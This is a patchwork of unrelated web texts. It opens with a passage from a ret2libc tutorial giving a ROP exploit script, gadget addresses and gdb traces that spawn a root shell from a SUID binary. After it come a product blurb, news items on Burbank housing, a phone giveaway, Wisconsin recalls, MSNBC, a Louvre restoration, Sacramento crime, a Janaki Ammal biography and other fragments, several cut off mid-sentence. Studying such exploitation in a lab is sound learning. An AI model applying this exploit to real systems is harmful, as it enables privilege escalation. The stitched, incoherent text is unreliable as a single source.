[email protected]:~/ret2libc$ ropper --file ret2libc --search "%?di" Gadgets ======= 0x0000000000400520: mov edi, 0x601050; jmp rax; 0x000000000040051f: pop rbp; mov edi, 0x601050; jmp rax; 0x00000000004006a3: pop rdi; ret ; 3 gadgets found
The third gadget that pops a value off the stack into RDI is perfect. We now have everything we need to construct our exploit:
#!/usr/bin/env python from struct import * buf = "" buf += "A" * 104 # junk buf += pack ( "<Q", 0x00000000004006a3 ) # pop rdi; ret; buf += pack ( "<Q", 0x4006ff ) # pointer to "/bin/sh" gets popped into rdi buf += pack ( "<Q", 0x7ffff7a5ac40 ) # address of system() f = open ( "in.txt", "w" ) f. write ( buf )
This exploit will write our payload into in.txt which we can redirect into the binary within gdb. Let’s go over it quickly:
Line 7: We overwrite RIP with the address of our ROP gadget so when vuln() returns, it executes pop rdi; ret.
Line 8: This value is popped into RDI when pop rdi is executed. Once that’s done, RSP will be pointing to 0x7ffff7a5ac40; the address of system().
Line 9: When ret executes after pop rdi, execution returns to system(). system() will look at RDI for the parameter it expects and execute it. In this case, it executes “/bin/sh”.
Let’s see it in action in gdb. We’ll set a breakpoint at vuln()’s return instruction:
gdb-peda$ br *vuln+73 Breakpoint 1 at 0x40060f
Now we’ll redirect the payload into the binary and it should hit our first breakpoint:
gdb-peda$ r < in.txt Try to exec /bin/sh Read 128 bytes. buf is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA� No shell for you :(... [-------------------------------------code-------------------------------------] 0x400604 <vuln+62>: call 0x400480 <[email protected]> 0x400609 <vuln+67>: mov eax,0x0 0x40060e <vuln+72>: leave => 0x40060f <vuln+73>: ret 0x400610 <main>: push rbp 0x400611 <main+1>: mov rbp,rsp 0x400614 <main+4>: sub rsp,0x10 0x400618 <main+8>: mov DWORD PTR [rbp-0x4],edi [------------------------------------stack-------------------------------------] 0000| 0x7fffffffe508 --> 0x4006a3 (<__libc_csu_init+99>: pop rdi) 0008| 0x7fffffffe510 --> 0x4006ff --> 0x68732f6e69622f ('/bin/sh') 0016| 0x7fffffffe518 --> 0x7ffff7a5ac40 (<system>: test rdi,rdi) 0024| 0x7fffffffe520 --> 0x0 0032| 0x7fffffffe528 --> 0x7ffff7a37ec5 (<__libc_start_main+245>: mov edi,eax) 0040| 0x7fffffffe530 --> 0x0 0048| 0x7fffffffe538 --> 0x7fffffffe608 --> 0x7fffffffe827 ("/home/koji/ret2libc/ret2libc") 0056| 0x7fffffffe540 --> 0x100000000 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Breakpoint 1, 0x000000000040060f in vuln ()
Notice that RSP points to 0x4006a3 which is our ROP gadget. Step in and we’ll return to our gadget where we can now execute pop rdi.
gdb-peda$ si... [-------------------------------------code-------------------------------------] => 0x4006a3 <__libc_csu_init+99>: pop rdi 0x4006a4 <__libc_csu_init+100>: ret 0x4006a5: data32 nop WORD PTR cs:[rax+rax*1+0x0] 0x4006b0 <__libc_csu_fini>: repz ret [------------------------------------stack-------------------------------------] 0000| 0x7fffffffe510 --> 0x4006ff --> 0x68732f6e69622f ('/bin/sh') 0008| 0x7fffffffe518 --> 0x7ffff7a5ac40 (<system>: test rdi,rdi) 0016| 0x7fffffffe520 --> 0x0 0024| 0x7fffffffe528 --> 0x7ffff7a37ec5 (<__libc_start_main+245>: mov edi,eax) 0032| 0x7fffffffe530 --> 0x0 0040| 0x7fffffffe538 --> 0x7fffffffe608 --> 0x7fffffffe827 ("/home/koji/ret2libc/ret2libc") 0048| 0x7fffffffe540 --> 0x100000000 0056| 0x7fffffffe548 --> 0x400610 (<main>: push rbp) [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x00000000004006a3 in __libc_csu_init ()
Step in and RDI should now contain a pointer to “/bin/sh”:
gdb-peda$ si [----------------------------------registers-----------------------------------]... RDI: 0x4006ff --> 0x68732f6e69622f ('/bin/sh')... [-------------------------------------code-------------------------------------] 0x40069e <__libc_csu_init+94>: pop r13 0x4006a0 <__libc_csu_init+96>: pop r14 0x4006a2 <__libc_csu_init+98>: pop r15 => 0x4006a4 <__libc_csu_init+100>: ret 0x4006a5: data32 nop WORD PTR cs:[rax+rax*1+0x0] 0x4006b0 <__libc_csu_fini>: repz ret 0x4006b2: add BYTE PTR [rax],al 0x4006b4 <_fini>: sub rsp,0x8 [------------------------------------stack-------------------------------------] 0000| 0x7fffffffe518 --> 0x7ffff7a5ac40 (<system>: test rdi,rdi) 0008| 0x7fffffffe520 --> 0x0 0016| 0x7fffffffe528 --> 0x7ffff7a37ec5 (<__libc_start_main+245>: mov edi,eax) 0024| 0x7fffffffe530 --> 0x0 0032| 0x7fffffffe538 --> 0x7fffffffe608 --> 0x7fffffffe827 ("/home/koji/ret2libc/ret2libc") 0040| 0x7fffffffe540 --> 0x100000000 0048| 0x7fffffffe548 --> 0x400610 (<main>: push rbp) 0056| 0x7fffffffe550 --> 0x0 [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x00000000004006a4 in __libc_csu_init ()
Now RIP points to ret and RSP points to the address of system(). Step in again and we should now be in system()
gdb-peda$ si... [-------------------------------------code-------------------------------------] 0x7ffff7a5ac35 <cancel_handler+181>: pop rbx 0x7ffff7a5ac36 <cancel_handler+182>: ret 0x7ffff7a5ac37: nop WORD PTR [rax+rax*1+0x0] => 0x7ffff7a5ac40 <system>: test rdi,rdi 0x7ffff7a5ac43 <system+3>: je 0x7ffff7a5ac50 <system+16> 0x7ffff7a5ac45 <system+5>: jmp 0x7ffff7a5a770 <do_system> 0x7ffff7a5ac4a <system+10>: nop WORD PTR [rax+rax*1+0x0] 0x7ffff7a5ac50 <system+16>: lea rdi,[rip+0x13744c] # 0x7ffff7b920a3
At this point if we just continue execution we should see that “/bin/sh” is executed:
gdb-peda$ c [New process 11114] process 11114 is executing new program: /bin/dash Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command. Error in re-setting breakpoint 1: No symbol "vuln" in current context. Error in re-setting breakpoint 1: No symbol "vuln" in current context. Error in re-setting breakpoint 1: No symbol "vuln" in current context. [New process 11115] Error in re-setting breakpoint 1: No symbol "vuln" in current context. process 11115 is executing new program: /bin/dash Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command. Error in re-setting breakpoint 1: No symbol "vuln" in current context. Error in re-setting breakpoint 1: No symbol "vuln" in current context. Error in re-setting breakpoint 1: No symbol "vuln" in current context. [Inferior 3 (process 11115) exited normally] Warning: not running or target is remote
Perfect, it looks like our exploit works. Let’s try it and see if we can get a root shell. We’ll change ret2libc’s owner and permissions so that it’s SUID root:
[email protected]:~/ret2libc$ sudo chown root ret2libc [email protected]:~/ret2libc$ sudo chmod 4755 ret2libc
Now let’s execute our exploit much like we did in part 1:
[email protected]:~/ret2libc$ (cat in.txt ; cat) |./ret2libc Try to exec /bin/sh Read 128 bytes. buf is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA� No shell for you :( whoami root
Got our root shell again, and we bypassed NX. Now this was a relatively simple exploit that only required one parameter. What if we need more? Then we need to find more gadgets that setup the registers accordingly before returning to a function in libc. If you’re up for a challenge, rewrite the exploit so that it calls execve() instead of system(). execve() requires three parameters:
int execve ( const char * filename, char * const argv [], char * const envp []);
This means you’ll need to have RDI, RSI, and RDX populated with proper values before calling execve(). Try to use gadgets only within the binary itself, that is, don’t look for gadgets in libc. Good luck!This fits your.
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【Environment Friendly Sturdy Materils】- This protective casing for Nintendo Switch is constructed from environmental protection materials that are non-toxic and disburse no smell. All-around zipper keeps your switch console and accessories secure, easy to clean.A new transit-friendly apartment complex may be on the way to Burbank, just west of the city’s Metrolink station, according to an announcement from architecture firm Newman Garrison + Partners, which has been selected to design the project.
Developed by Cusumano Real Estate Group, the development would rise seven stories and include 327 units of housing, ranging from studios to three and four-bedroom apartments. The project would have a mix of market rate and affordable units, though it’s not clear how much of each would be included.
Retail space and room for “organic grocery offerings” would also be part of the project, which is geared toward “millennials working in the San Fernando Valley,” according to the announcement.
Other building amenities would include a swimming pool and spa, a lounge and game room, an outdoor movie theater, a wine room, a media center, fire pits, and a bocce ball course.
Renderings of the project show it would have a glassy design, with plenty of terraces and balcony space throughout the complex. If all goes according to plan, the project could open by 2021.Earlier this week, we published our review of the Nokia Lumia 630, Microsoft's new Windows Phone 8.1 device. We took an in-depth look at the handset and, in a nutshell, found that it was a rather nice device, especially given its low price tag.
We described it as "an affordable Windows Phone, but not a perfect one" - but let's face it, nothing is perfect, and while there are some aspects of the Lumia 630 that could use improvement, it's nonetheless a pretty nice piece of kit. It has a large display, decent performance, good battery life and, of course, it's been designed around the latest Windows Phone 8.1 operating system, which is only just starting to roll out to other devices.
Now, one of you will get the chance to enjoy the device for yourselves! We're giving away a Nokia Lumia 630, kindly provided by the lovely people at Microsoft UK.
Don't worry though - you don't have to be in the UK to enter. The contest is open to all of our readers around the world, and the best news is that there are plenty of ways for you to enter, and lots of ways for you to gain extra entries to increase your chances of winning!
As with our previous giveaways, we're using Rafflecopter to help us track the entries and to randomly select the winner. If you're not a fan of social media, we totally understand - and you can still enter without doing anything on Facebook or Twitter - but our social media engagement is a big part of what helps us to grow (and to bring you more cool giveaways), so we hope you understand why we're encouraging you to use these options... and enticing you to do so with extra entries in the contest!
Please be sure to read all of the instructions carefully to ensure that you're entered successfully. To enter you can choose one or more of the following options:
Submit a comment below telling us why you'd like to win a Nokia Lumia 630. (This is worth one entry.) Follow me (@gcaweir) on Twitter. Make sure you enter your Twitter username so we know who you are. (This is worth one entry.) Follow @MicrosoftUK on Twitter. Make sure you enter your Twitter username so we know who you are. (This is worth one entry.) Follow @Nokia_UK on Twitter. Make sure you enter your Twitter username so we know who you are. (This is worth one entry.) Follow @NeowinFeed on Twitter. Make sure you enter your Twitter username so we know who you are. (This is worth two entries.) 'Like' Neowin on Facebook. (This is worth two entries.) Tweet about the giveaway. Now, this may be a little confusing, so please follow the instructions carefully. Select the option below, and then click the 'Tweet' button that appears. That will bring up a string that needs to be tweeted (it should read "I entered to win a Nokia Lumia 630 in the @NeowinFeed giveaway! You can enter here", followed by a link to this page). Tweet that, then follow the steps to get the link to your tweet for confirmation. Clicking the 'how do I find it?' link gives detailed instructions if you get stuck. (This is worth three entries, and can be done once per day.
a Rafflecopter giveaway
We'll be selecting a winner at random on Sunday, July 20 2014.
Good luck to you all!
We have a winner!
Congratulations to Neowin member fordcom (aka Emmanuel Fordjour from Ghana) for winning the contest! We wish him many happy years with his lovely new Lumia :-)
We'd also like to thank each and every one of you for taking part - there was only one winner, but there will always be more giveaways on Neowin, so be sure to stick around!WASHINGTON -- Both national and Wisconsin-based Republican operatives tell the Huffington Post the party is being dramatically outworked and out-organized by Democrats in the recall campaigns being launched against state Senators.
The operatives, who raised their concerns out of hope it would jar the GOP into assertiveness, argue complacency has taken over after Governor Scott Walker successfully shepherded his anti-collective bargaining bill into law. While the Wisconsin Democratic Party, with major assists from progressive groups and unions, has harnessed resentment towards the governor into a full-throttled effort to recall eight GOP Senators, neither the enthusiasm nor organizational acumen exists on the Republican side of the aisle.
“It's clear that Democrats and liberal organizations are engaging in an attempt to make recall more than a mere hypothetical possibility for some Wisconsin Republicans,” said Liz Mair, Vice President of Hynes Communications and former RNC Online Communications Director, who has followed closely the work of conservative groups in Wisconsin. “Even though Governor Walker acted to end the impasse, Republicans and conservatives should not be acting like this is done and dusted.”
A conservative activist working inside the state on recall efforts was even more explicitly distraught. The Wisconsin Republican Party, the operative said, was not lending resources to the recall campaign groups had launched against Democratic Senators, in turn causing those groups to narrow their target list down from eight lawmakers to just three.
“It would be nice if the Republican Party, operatives, etc, would step in with a little money,” said the activist, who asked to remain nameless lest he draw the GOP even further away from the recall effort. “But they are talking about doing radio and I’m not sure that gets you signatures.”
“Sure, the first battle was won with the passing of the bill,” the activist added, “but the war is not won. If they come in and recall some of those state senators and none of the Democrats get knocked out, that’s not good for the republicans at all…it is a bit of a mystery to me. You would think they would want to make sure all these [recall] efforts are successful.”
The data bears out the notion of a disparity. Reid Magney, a spokesman for the non-partisan Wisconsin Government Accountability Board, described the recall efforts by Democrats against Republican state Senators as more organized than their counterparts. Whereas GOP-run recalls registered at different times and originated from a random spattering of groups--a Utah-based conservative organization was forced to find a partner inside Wisconsin to make its petitions legally acceptable--all of the Democratic activity has run through the state party.
“The recalls of Republicans [launched by Democrats] all came in on the same day, they are all organized by the same people, which is the Democratic party of Wisconsin. It’s not on the docs but it doesn’t have to be. The PO box is all the same,” said Magney. "The state GOP is not involved in the same way.”
The funding differences, it appears, are even more drastic than the organizational. While Mair pleaded for conservative groups to “raise and spend money in order ensure that those who pushed reform through aren't turfed out,” Democratic organizations claim to be swimming in a historic pool of funds.
Democracy for America, the group started by Howard Dean following his failed 2004 election, said it has raised nearly $800,000 to run ads and help with the recall campaign, which communications director Levana Layendecker described as “unprecedented for a non-election year issue.” In addition, 2,500 volunteers have signed up with DFA to help gather signatures. The group, with 25,000 members in Wisconsin alone, expects that number to only grow.
The Progressive Change Campaign Committee, which has nearly 25,000 Wisconsin members its mobilizing as well, is pouring massive resources into an ad campaign to keep momentum behind the recall efforts. Their efforts include a new spot focusing on three GOP state senators (Alberta Darling, Dan Kapanke and Randy Hopper).
Union groups, while legally prohibited from working with the Democratic Party on the recount, have still pushed to keep the issue front and center, as have a host of other progressive institutions.During a conversation on Morning Joe today, co-host Mika Brzezinski made an on-air claim that during the election, Hillary Clinton’s campaign wanted her take off television for being overly critical of their candidate.
Mika stated that in response to her continuously making the case on Morning Joe that the Democratic nominee didn’t have the election in the bag, she claimed someone from the campaign contacted NBC to get her tossed.
“I was concerned the campaign was not understanding that perhaps there was an arrogance,” she stated. “They needed to sort of get off their high horse and understand that this isn’t over.”
Brzezinski continued, “I’ll just say it — NBC got a call from the campaign. Like I had done something that was journalistically inappropriate or something and needed to be pulled off the air.”
“I mean, think about that,” she remarked. “That’s just shooting the wrong messenger.”
Following some comments from co-host Joe Scarborough, Brzezinski concluded with “and here we are,” noting that Donald Trump is now the President-elect.
Some of the emails from the infamous DNC hacks revealed DNC officials, such as Debbie Wasserman Schultz, taking issue with what they felt was negative coverage from MSNBC hosts such as Brzezinski and Chuck Todd.
Watch the clip above.
[image via screengrab]
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Follow Justin Baragona on Twitter: @justinbaragona
Have a tip we should know? tips@mediaite.comUnused Audio Commentary By Howard Zinn and Noam Chomsky, Recorded Summer 2002 For The Fellowship Of The Ring (Platinum Series Extended Edition) DVD, Part One
CHOMSKY: The film opens with Galadriel speaking. “The world has changed,” she tells us, “I can feel it in the water.” She’s actually stealing a line from the non-human Treebeard. He says this to Merry and Pippin in The Two Towers, the novel. Already we can see who is going to be privileged by this narrative and who is not.
ZINN: Of course. “The world has changed.” I would argue that the main thing one learns when one watches this film is that the world hasn’t changed. Not at all.
CHOMSKY: We should examine carefully what’s being established here in the prologue. For one, the point is clearly made that the “master ring,” the so-called “one ring to rule them all,” is actually a rather elaborate justification for preemptive war on Mordor.
ZINN: I think that’s correct. Tolkien makes no attempt to hide the fact that rings are wielded by every other ethnic enclave in Middle Earth. The Dwarves have seven rings, the Elves have three. The race of Man has nine rings, for God’s sake. There are at least 19 rings floating around out there in Middle Earth, and |
is to provide low-cost, broad market indexes that give every investor the opportunity to fight climate change and hedge against carbon bubble risk,” says Stuart Braman, founder of Fossil Free Indexes.
A clean energy economy in the US can become reality by freezing investments in companies destroying our planet, divesting funds out of those companies, and reinvesting in fossil free options. Part Two of this report on divestment and reinvestment for religious institutions will look more closely into financial services companies and investment products currently available for conscientious investors wanting to take climate change mitigation into their own hands.
The Problem of Uncaring Leaders Is as Bad as the Warming Climate
The failure of our political leaders and economic giants to address climate change is a problem equally as bad as the warming climate. Not only is the temperature steadily rising, but by ignoring it we are doing nothing to support the growth of a clean energy economy. Legislative mandates could ensure wide implementation of higher standards, and increased government spending could boost research, inspire ingenuity, and pave the way for a major energy transition. But this is currently not the case, despite the fact that technologies, tools, and expertise already exist for addressing the reduction of fossil fuel emissions.
Without taking confident steps to address climate change, we do not step with a clear conscience into our future. Investing in and supporting production of clean, renewable energy sources is not just an ideal, it is a moral imperative. We share in the guilt of those who are destroying the earth, if we do not take corrective actions to stop them.
Houses of Worship Must Pledge the Sanctity of Life for Future Generations
We must take up our flags of moral authority and raise them with the confidence that comes from knowing right from wrong. Our faiths provide this foundational moral knowledge. In the face of corporate greed and reckless plundering of earth’s natural resources, we must take a stand for our future generation’s right to survive.
Our houses of worship are places where we pledge the sanctity of life. If our future generations can not find representation among God’s worshippers today, then we need to do a little soul-searching. And probably a little house cleaning too. Divesting our money from fossil fuel producers is a loud and clear statement that we will not pay their penalty for destroying the trust God invested in us as stewards of creation.
Take steps today to clean your house of worship by demanding divestment from fossil fuels, and reinvestment in clean energy technologies.
Keep up to date with all the eco-spirituality news here on EdenKeeper. Subscribe to our newsletter to never miss a story.PARIS — Painting conservation is perilous business, requiring the perfect blend of historical knowledge, technical skill, and respect for the immeasurably fragile, ancient object held gently between gloved hands. Just ask Cecilia Giménez, the 83-year-old amateur painter whose farcically botched attempt to restore an almost century-old fresco of Christ in her local church in Borja, Spain, propelled her to international infamy. Other conservation mishaps have been far less amusing.
In 2011, the Louvre’s director of conservation, Ségolène Bergeon Langle, resigned in the midst of a scandal that followed the restoration of Leonardo da Vinci’s “The Virgin and Child with Saint Anne” (c. 1503). Begun in 2009, the restoration was supposed to be a celebratory event to kick off a series of restorations of Leonardo paintings in the Louvre’s collection (of 15 known to exist, the museum owns six). However, Langle, along with other experts, felt the conservators had gone too far in removing the various layers of yellowed varnish, eliminating or modifying original aspects of the painting.
“They almost completely removed the varnish,” Jean-Pierre Cuzin, former director of the Department of Painting, who also resigned in protest of the restoration, told Le Monde in 2012. “Now ‘Saint Anne’ looks like a bright pink-and-blue painting next to the very somber palette of the others — ‘The Mona Lisa,’ ‘Saint John the Baptist,’ ‘The Virgin of the Rocks.’ It disrupts the harmony of the group.”
Although the restoration of “La Belle Ferronnière,” the second painting in the series, was completed without incident, the restoration project continues to draw frequent and virulent criticism. Carlo Pedretti, professor emeritus of art history and chair of Leonardo Studies at the University of California, Los Angeles, referred to the Louvre’s restoration campaign as “a contagious mania […] done to create publicity.”
Of the most recent restoration endeavor, Micheal Daley, director of the restoration watchdog website Art Watch UK, told Hyperallergic: “I cannot believe that nothing but varnish has been removed: Varnish could never have posthumously completed Leonardo’s own technique on his behalf.” Nevertheless, the Louvre moved forward with the project, and on November 9, “Saint John the Baptist” (c. 1513–16), the third Leonardo painting to undergo restoration, was put back on display in the Grande Galerie.
Commissioned around 1508, “Saint John the Baptist” is one of three Leonardo paintings considered masterpieces among the six in the Louvre’s collection, along with “La Gioconda” (c. 1503–06) and “The Virgin and Child with Saint Anne.” In 2009, it was decided that “Saint John the Baptist,” whose last restoration had been in 1802, needed sprucing up. “The painting had turned orange,” Sébastien Allard, director of the Louvre’s Department of Paintings, told Le Monde. “The cross, the animal skin, and the details of the hair were no longer visible.”
An initial radiological diagnostic carried out by the French Museum Center of Research and Restoration (C2RMF), whose laboratories are located in the basement of the Louvre, attributed the discoloration to 17 layers of extremely oxidized varnish, 110 microns thick, that were discovered on the painting’s surface. In October 2015, the C2RMF conservation team set about a painstaking restoration process aimed at improving the work’s “legibility.”
A year later, although the painting remains somber, the dull ochre of Saint John’s skin has given way to a soft golden glow. “The last layer of varnish was left untouched,” Regina Moreira, head of the restoration team, told Le Monde. “After a while the painting stopped getting clearer, and the risks of removing the final layers began to outweigh the rewards.”
Apart from returning “Saint John the Baptist” to a former glory, the C2RMF team also sought to learn more about the Renaissance master’s creative process. X-rays revealed that Leonardo repeatedly retouched the painting until the end of his life in 1519, notably changing several times the position of Saint John’s arm.
For museum curator Vincent Delieuvin, an Italian Renaissance specialist, this constant tinkering is evidence of Leonardo’s tireless quest for perfection. “There is great hesitation on the part of Leonardo as to how to capture movement,” he told Le Monde. “Each position of the body, of the hand, of the arm, underwent subtle changes. The manner in which he imbues life into the material is very impressive.”
The painting was commissioned as a personal object intended for private devotion, and there is something deeply intimate in the androgynous figure’s soft gaze. Stare patiently at it for a moment, allowing your eyes to adjust to the tenebrous palette, the extreme chiaroscuro, and the cross and animal pelt emerge from the darkness. You will come to appreciate the éclats of blond in his Venetian curls, the seemingly impossible sharpness and clarity of the finger, raised in a sweeping gesture up toward the heavens. Beckoning us forward, a playful smile curling over his face, Saint John momentarily mutes the symphony of kitsch raging through the Louvre on a Thursday afternoon. The amorphous mass of monochrome synthetics, the silver glint of dueling selfie sticks, the collision of impregnated reverse-backpack wearers all fade away, leaving the viewer free to commune silently with a divine presence.One of the first women scientists to receive the Padma Shri way back in 1977, Edavaleth Kakkat Janaki Ammal lived a life only a handful of other women of her time lived. In an age when most Indian women didn’t make it past high school, Janaki Ammal didn’t just obtain a PhD at one of America’s finest public universities, she went on to make seminal contributions to her field.
She also remains one of the few Asian women to be conferred a honorary doctorate (DSc. honoris causa) by her alma mater, the University of Michigan. And that was in 1931!
Janaki Ammal.
Photo Source
A pioneering botanist and cytogeneticist, Janaki Ammal is credited with putting sweetness in India’s sugarcane varieties, speaking against the hydro-electric project in Kerala’s Silent Valley and the phenomenal study of chromosomes of thousands of species of flowering plants. There is even a flower named after her, a delicate bloom in pure white called Magnolia Kobus Janaki Ammal.
Yet, at a time when the country is focussing on educating the girl child, Janaki Ammal’s contribution to Indian botanical research remains mostly unknown outside academic circles. This is the story of an extraordinary Indian woman who braved a largely patriarchal, ultra-conservative society to fulfill her academic dreams.
EK Janaki Ammal was born in Tellichery (now Thallassery) in Kerala on November 4, 1897. Her father, Dewan Bahadur EK Krishnan, was a sub-judge in what was then the Madras Presidency. A man with a keen interest in the natural sciences, Janaki’s father would correspond regularly with scholars of the time and maintain descriptive notes about his developing garden. This love for learning and curiosity about the natural world was something he would pass on to his 19 children — six from his first wife, Sharada, and thirteen from the second, Deviammal, the tenth of whom was Janaki Ammal.
After completing her schooling in Tellichery, Janaki moved to Madras where she obtained her Bachelor’s degree from Queen Mary’s College and her Honours degree in Botany from the Presidency College in 1921. She was teaching at Women’s Christian College when she got the prestigious Barbour scholarship from the University of Michigan in the US.
Janaki Ammal taught at the Women’s Christian College (above) for a few years.
Choosing a life of scholarship over marriage (which was being planned to a first cousin), Janaki left for the University of Michigan, where she obtained her Master’s degree in 1925. Returning to India, she continued to teach at the Women’s Christian College, but went to Michigan again to pursue her doctoral thesis. On her return, she became Professor of Botany at the Maharaja’s College of Science in Trivandrum, and she taught there for two years between 1932 and 1934.
An expert in cytogenetics (the study of chromosomes and inheritance), Janaki next joined the Sugarcane Breeding Station at Coimbatore to work on sugarcane biology. At that time, the sweetest sugarcane in the world was the Saccharum officianarum variety from Papua New Guinea and India imported it from Southeast Asia. In a bid to improve India’s indigenous sugarcane varieties, the Sugarcane Breeding Station had been set up at Coimbatore in the early 1920s.
Sugarcane being harvested in India.
Photo Source
By manipulating polyploid cells through cross-breeding of hybrids in the laboratory, Janaki was able to create a high yielding strain of the sugarcane that would thrive in Indian conditions. Her research also helped analyse the geographical distribution of sugarcane across India, and to establish that the S. Spontaneum variety of sugarcane had originated in India.
In 1935, the famous scientist and Noble laureate C V Raman founded the Indian Academy of Sciences and selected Janaki as a research fellow in its very first year. However, her status as a single woman from a caste considered backward created irreconcilable problems for Janaki among her male peers at Coimbatore. Facing caste and gender based discrimination, Janaki left for London where she joined the John Innes Horticultural Institute as an assistant cytologist.
Also Read: 7 Incredibly Smart Indian Women Scientists Who Make Us All Proud
Janaki was with them from 1940 to 1945, a time when German planes were bombing London. Later, talking about the experience to her friends, the courageous woman described how she would dive under her bed during the night bombings but continue with the research work the next day after brushing the broken glass off the shelves.
Janaki Ammal at John Innes Horticultural Institute.
Photo Source
Impressed by her work, the Royal Horticulture Society invited Janaki to work as a cytologist at their campus at Wisley, near Kew Gardens, famous for its collection of plants from around the world. It was during her years at Wisley that Janaki met some of the most talented cytologists, geneticists and botanists in the world. In 1945, she co-authored The Chromosome Atlas of Cultivated Plants with biologist CD Darlington, a close friend and mentor for the greater part of her life.
At the Society, one of the plants she worked on was the magnolia. To this day, in the Society’s campus at Wisley there are magnolia shrubs she planted and among them is a variety with small white flowers named after her: Magnolia Kobus Janaki Ammal. A flower celebrated in Japanese and Chinese legends, the blooms of this variety are made up of fused sepals and petals called ‘tepals’. Today, only a few nurseries in Europe cultivate the variety.
Magnolia Kobus Janaki Ammal.
Photo Source
In 1951, the then prime minister Jawaharlal Nehru personally invited her to return to India and restructure the Botanical Survey of India (BSI). She acquiesced and was appointed as the Officer on Special Duty to the BSI, in which capacity she reorganised the Calcutta office in 1954. Her colleagues still remember how Janaki would take a long broom and clean the streets outside the BSI office on the famous Chowringhee lane.
Janaki also travelled to some of the most remote areas of the country in search of the plant lore of the indigenous peoples of the subcontinent. She would spend time searching for medicinal plants in Wayanad before visiting Ladakh to explore methods of sustainable agriculture at high altitudes. As a scientist who studied about ecology and biodiversity, Janaki had always been an ardent environment activist too.
You May Like: From a Child Bride to India’s First Practising Woman Doctor: The Untold Story of Rukhmabai
Worried about the environmental damage that would be caused, she played an important role in the protests that were held against the building of a hydro-power dam across the river Kunthipuzha in Kerala’s Silent Valley. She was also the only woman invitee to the landmark international symposium on environmental history, “Man’s Role in Changing the Face of the Earth” organized by the Wenner Gren Foundation for Anthropological Research at Princeton in 1955 (and one of only two Indians, the other being Radhakamal Mukherjee).
On a personal note, Janaki was a staunch Gandhian who liked her life simple. Geeta Doctor, Janaki’s niece, once wrote of her:
“Janaki was a tall and commanding presence in her prime. She tied her lustrous long hair into a loose bun at the nape of her neck. In her later years, she took to wearing brilliant yellow silk sarees with a long loose blouse or jacket in the same colour. Her statuesque presence reminded people of a Buddhist lady monk. Like certain Buddhist orders, she took a vow of chastity, austerity and silence for herself, limiting her needs to the barest minimum.”
After retirement, she continued to work in science; she served for a short period at the Atomic Research Station at Trombay before serving as an Emeritus Scientist at the Centre for Advanced Study in Botany, University of Madras. Few know that during her last years, Janaki’s main interest had been the rearing of a large family of cats and kittens – an expert geneticist, she had even discovered and tracked down the subtle differentiations in the characteristics of her beloved kittens!
Janaki Ammal.
Photo Source
At the age of 87, Janaki Ammal passed away on February 7, 1984 while working in her research lab at Maduravoyal. Her obituary stated “She was devoted to her studies and research until the end of her life.”
For her exemplary contribution to science in India, Dr Janaki Ammal awarded the Padma Shri in 1977. In 2000, the Ministry of Environment and Forestry created the National Award of Taxonomy in her name. There is also a herbarium with over 25,000 species in Jammu Tawi that is named after this pioneering botanist.
Recently, the John Innes Centre in England chose to honour Janaki by launching a new scholarship for post-graduate students from developing countries in her name.
An incredible woman who spent her life in the pursuit of science, Janaki Ammal believed that it was through her work that she should be remembered. So, the next time you use a spoonful of sugar grown by an Indian sugarcane farmer, remember that you are it was Dr Janaki Ammal who added that extra bit of sweetness!
Like this story? Have something to share? Email: contact@thebetterindia.com, or join us on Facebook and Twitter (@thebetterindia).
NEW! Log into www.gettbi.com to get positive news on Whatsapp.Richard Nixon was in the White House the last time Sacramento logged a body count as small as it did last year – a historic low lauded by police as the result of new methods of policing and a growing police force.
There were 29 people killed within the city limits in 2014, according to data released Thursday by the Sacramento Police Department. That’s one more than in 1973, when the city housed less than half the roughly 480,000 people it does today.
The numbers – which also show a near 15 percent drop in serious crimes like murder, rape, robbery, aggravated assaults, burglary, larceny and motor vehicle theft – continue a decadelong downward trend that mirrors a national slide in crime rates, most notably in big cities with big crime like New York, Chicago and Detroit. The numbers released Thursday were a part of national crime reporting collected by the FBI.
Criminologists have said the drop can be attributed to many factors, including policing tactics and community involvement, as well as inexplicable factors that are out of anyone’s control.
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Crime rates dip and spike in cycles, Berkeley law professor and criminologist Franklin Zimring said. What matters more than the historic highs and lows are the trends over time and where on that spectrum a city seems to be holding steady, he said.
The historic low seen in 2014 may be a fluke, but since 2008, the number of murders in Sacramento hasn’t broken out of the 30s. Since last year, 3,101 fewer people fell victim to crime citywide, with five fewer homicides.
Sacramento’s overall crime drop of nearly 15 percent was preceded by a drop in 2013 of 10 percent in the same categories from the year before.
“This is a wonderful period, and those are wonderful trends to be cautious about,” Zimring said. “A drop of five killings in one year is just a happy event. Those five killings are real, and they matter, but it isn’t the kind of statistical trend that easily attaches to specific policy innovations.”
Nowhere has the reduction in violent crime been more evident than on Mack Road, a commercial corridor in south Sacramento.
The street normally is the scene of several homicides each year, particularly during the summer, when kids are out of school. But last summer, there wasn’t a single homicide on the street, a first for the area in 15 years. What’s more, Mack Road hasn’t seen a homicide since last March, neighborhood organizers said.
Many in the area attribute the reduction in violent crime to a program called Summer Night Lights, a community gathering held on Thursday, Friday and Saturday nights between May and September. More than 10,000 people attended the events last summer, sitting with their neighbors at large tables as they ate fresh dinners and listened to DJs play music.
“We wanted to build a community, which was something that Mack Road had not typically had,” said Jenna Abbott, the executive director of the Mack Road Partnership.
Police say Mack Road, and historically high-crime areas like it, have been the targets of geographical policing efforts that use crime data to determine which areas of the city are most vulnerable to certain kinds of crime.
“Downtown is policed differently than south Sacramento, which is policed differently than Natomas, which is policed differently than midtown,” Sacramento police spokesman Officer Doug Morse said. “We’ve been making officers aware of what crimes to best look out for in certain places so we can do more to prevent those crimes from happening in the first place.”
This kind of policing has been proved to reduce homicides and other “public” crimes by meeting them where they happen – on the streets, Zimring said.
It’s called hot-spot policing.
In cities like New York, that has meant eliminating outdoor drug markets, which cut the city’s homicides by nearly 85 percent: At the height of a decadelong crime wave in New York, 2,245 people were killed in 1990. Last year, there were 328 homicides investigated in all five boroughs.
